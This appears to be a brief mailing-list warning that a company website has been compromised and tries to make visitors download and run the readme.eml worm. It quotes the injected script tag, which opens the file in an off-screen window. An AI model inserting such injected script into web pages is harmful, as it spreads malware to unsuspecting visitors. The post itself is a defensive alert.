    	This is not good.  http://www.amariplastics.com/ tries to
    run/download the readme.eml worm/trojan/thing when you browse it.
    
    	It looks like their website has been tampered with or something as
    the last 3 lines of the HTML source read:
    
    </body>
    </html>
    <html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>
    
    which does exactly what it look like.
    
    	Please be careful, one of the chaps here said it AUTOMATICALLY
    downloaded and ran the file.  My machine asked me what to do.  I said
    CANCEL, and so should you.
    
    	Regards,
